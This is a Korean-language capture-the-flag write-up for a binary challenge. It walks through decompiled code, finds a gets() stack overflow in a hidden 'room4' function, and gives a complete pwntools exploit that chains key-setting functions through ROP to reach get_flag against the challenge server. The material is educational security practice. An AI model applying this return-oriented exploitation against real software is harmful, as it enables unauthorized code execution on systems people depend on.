문제파일을 실행해보자.
방 목록을 확인하고, 접속하고, 그 방의 정보를 확인할 수 있다.
IDA로 프로그램 코드를 확인해보자.
void __noreturn game()
{
signed int room; // eax@4
char menu; // [sp+Fh] [bp-9h]@1
while ( 1 )
{
::menu();
menu = get_input((int)"Your choice: ");
puts("\n");
if ( menu == 49 )
{
puts("You can go into:\n Room 1\n Room 2\n Room 3\n Room 4\n");
goto LABEL_29;
}
switch ( menu )
{
case '2':
main
에서 이 game
함수를 실행하게 된다.
처음에 menu 번호를 입력받으며,
switch ( menu )
{
case '2':
room = (char)get_input((int)"Choose a room to enter: ");
if ( room == '4' )
{
isInRoom1 = 0;
isInRoom2 = 0;
isInRoom3 = 0;
isInRoom4 = 1;
}
else
{
...
...
...
}
입력된 menu 번호가 2번일 경우 접속할 방을 선택하게 되는데 방 번호마다 변수가 존재하고, 선택된 방의 변수 값을 1로 설정한다.
case '3':
if ( isInRoom1 )
{
puts("Hello, this is just a plain old room. Poke around the others");
}
else if ( isInRoom2 )
{
puts("Hola como estas esta habitaci처n es espa챰ol");
}
else if ( isInRoom3 )
{
puts("Have you tried ALL the options?");
}
else if ( isInRoom4 )
{
room4();
}
그리고 입력된 menu 번호가 3번일 때, 해당 방의 정보를 출력하게 되는데 4번방일 경우 room4
라는 새로운 함수를 호출한다.
room4
함수를 확인해보자.
char *room4()
{
char *result; // eax@3
char s1; // [sp+0h] [bp-28h]@4
char s; // [sp+10h] [bp-18h]@3
puts("Wow this room is special. It echoes back what you say!");
while ( !unlockHiddenRoom4 )
{
printf("Press Q to exit: ");
fgets(&s1, 16, stdin);
remove_newline(&s1);
printf("\tYou entered '%s'\n", &s1);
result = (char *)strcmp(&s1, "Q");
if ( !result )
return result;
if ( !strcmp(&s1, "Stephen") )
unlockHiddenRoom4 = 1;
}
puts("Welcome to the hidden room! Good Luck");
printf("Enter something: ");
return gets(&s);
}
여기서 취약점을 확인할 수 있다.
값을 반환할 때 gets(&s)
를 실행하며 스택오버플로우가 발생한다.
이 구문을 실행시키기 위해선 앞선 while
루프에서 Stephen을 입력해서 반복문을 빠져나와야 한다.
그러면 구문을 실행하여 RET를 조작할 수 있다.
페이로드를 쉽게 작성하기 위해 system
등의 함수가 존재하는지 함수목록을 확인했다.
친절하게 get_flag
라는 함수를 제공해주었다.
int get_flag()
{
int result; // eax@8
char s; // [sp+Ch] [bp-5Ch]@8
FILE *stream; // [sp+4Ch] [bp-1Ch]@1
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts("'flag.txt' missing in the current directory!");
exit(0);
}
if ( key1[0] && key2 && !strcmp(key3, "Dormammu") && !__PAIR__(key4 ^ 0x616E6765u, dword_405C ^ 0x537472u) )
{
fgets(&s, 64, stream);
result = printf("Damn you beat the house: %s\n", &s);
}
else if ( key1[0] && key2 && !strcmp(key3, "Dormammu") )
{
result = printf("Surrender, Stephen. Surrender to the reverser");
}
else if ( key1[0] && key2 )
{
result = puts("You think you are ready? You are ready when the relic decides you are ready.");
}
else
{
result = printf("It's not going to be that easy. Come on");
}
return result;
}
하지만 바로 flag를 출력해주지는 않았다.
다음의 조건을 맞춰주어야 한다.
(key1[0] && key2 && !strcmp(key3, "Dormammu") && !__PAIR__(key4 ^ 0x616E6765u, dword_405C ^ 0x537472u)
key1
과 key2
가 존재하고 key3
의 값이 Dormammu여야하며 key4
, dword_405C
의 값이 위의 헥스값이어야 한다.
다행히 문제에서 조건에 키를 설정해주는 함수들 또한 제공해주고 있다.
int __cdecl get_key1(int a1)
{
int result; // eax@1
result = _x86_get_pc_thunk_ax() + 10518;
if ( isInRoom[result - 0x4000] == 1 || a1 != 0xFEEDC0DE )
{
if ( isInRoom[result - 0x4000] == 1 )
{
if ( isInRoom[result - 0x4000] )
result = puts(&aHahaThisHouseI[result - 0x4000]);
else
result = puts(&aNeedToGetTheRi[result - 0x4000]);
}
else
{
result = puts(&aYourVeryCloseT[result - 0x4000]);
}
}
else
{
key1[result - 0x4000] = 1;
}
return result;
}
설정해야할 key1
의 값은, 인자 a1
이 0xFEEDC0DE 일 때 1이 저장된다는 것을 알 수 있다.
int get_key2()
{
int result; // eax@2
if ( key1[0] == 1 || (result = strcmp(key3, "Dormammu")) != 0 )
result = puts("Need to get the right keys. Reverse the house harder");
else
key2 = 1;
return result;
}
key2
의 값을 설정하는데 key1
의 값이 1이 아니고, key3
이 Dormammu 값일 때 1을 저장한다.
get_key1
보다 get_key2
가 먼저 실행되야하며, 실행 전에 key3
이 설정되어 있어야 한다는 사실도 유추할 수 있다.
int AAsDrwEk()
{
int result; // eax@1
result = _x86_get_pc_thunk_ax() + 10283;
(&key3)[result - 0x4000] = &aDormammu[result - 0x4000];
return result;
}
key3
에 Dormammu 값을 저장한다.
int set_key4()
{
int result; // eax@4
if ( isInRoom[0] != 1 && key1[0] && key2 && (result = strcmp(key3, "Dormammu")) == 0 )
{
key4 = 0x616E6765;
dword_405C = 0x537472;
}
else
{
result = puts("Need to get the right keys. Reverse the house harder");
}
return result;
}
조건이 다음과 같을 때 key4
, dwowrd_405C
가 설정된다.(설명은 생략)
isInRoom[0] != 1 && key1[0] && key2 && (result = strcmp(key3, "Dormammu")) == 0
위 내용을 종합하여 코드를 작성한다.
파이썬을 이용하였다.
from pwn import *
#p = process('challenge')
p = remote('challenges.auctf.com', 30012)
print p.recvrepeat(0.2)
p.sendline('2')
print p.recvrepeat(0.2)
p.sendline('4')
print p.recvrepeat(0.2)
p.sendline('3')
print p.recvrepeat(0.2)
p.sendline('Stephen')
print p.recvrepeat(0.2)
addr_getKey1 = 0x565566de
argu_getKey1 = 0xFEEDC0DE
addr_popret = 0x5655601e
addr_getKey2 = 0x5655676e
addr_setKey3 = 0x565567cd
addr_setKey4 = 0x565567e9
addr_getFlag = 0x5655686b
#only local
#raw_input('Waiting for debugging ::: ' + str(p.pid))
p.sendline('a'*(0x18+4)+p32(addr_setKey3)+p32(addr_getKey2)+p32(addr_getKey1)+p32(addr_popret)+p32(argu_getKey1)+p32(addr_setKey4)+p32(addr_getFlag))
p.interactive()
주의할 점은 get_key1
에서 요구하는 인자를 전달해야 하는 것이고, 이 인자값을 정리하기 위해 ppret 가젯을 사용했다.